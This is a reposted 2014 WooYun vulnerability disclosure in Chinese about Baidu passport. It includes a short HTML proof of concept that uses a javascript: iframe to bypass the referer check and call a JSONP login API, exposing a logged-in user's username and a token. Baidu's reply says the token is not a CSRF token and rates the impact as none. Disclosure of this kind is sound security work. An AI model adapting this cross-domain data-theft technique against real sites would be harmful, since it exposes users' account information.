[公开漏洞]JS跨域抓取已登录的百度用户用户名和csrf token

来源:WooYun 浏览:1109次 时间:2014-05-29
做网站找雨过天晴工作室
JS跨域抓取已登录的百度用户用户名和csrf token 相关厂商: 百度 漏洞作者:剑心 提交时间:2014-05-28 17:10 公开时间:2014-05-28 17:50 漏洞类型:CSRF 危害等级:中 自评Rank:10 漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞 漏洞来源:http://www.wooyun.org Tags标签: csrf csrf利用技巧 漏洞详情 披露状态:

2014-05-28:细节已通知厂商并且等待厂商处理中
2014-05-28:厂商已经主动忽略漏洞,细节向公众公开

简要描述:

你们懂的为什么

详细说明:

用二哥的办法绕referer

<html>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<body>
<script>
function test(obj){
document.write(obj.data.rememberedUserName+"你好,您的CSRF节操已掉。节操编号为"+obj.data.token);
document.end();
}
</script>
<iframe src='javascript:"<script src=\"https://passport.baidu.com/v2/api/?getapi&tpl=gxt&apiver=v3&class=login&logintype=dialogLogin&callback=parent.test\"></script>"'></iframe>
</body></html>

漏洞证明:

jsonp.jpg

修复方案:

小哥你懂的

版权声明:转载请注明来源 剑心@乌云 漏洞回应 厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-05-28 17:50

厂商回复:

该token非CSRF token,感谢对百度安全的支持

最新状态:

暂无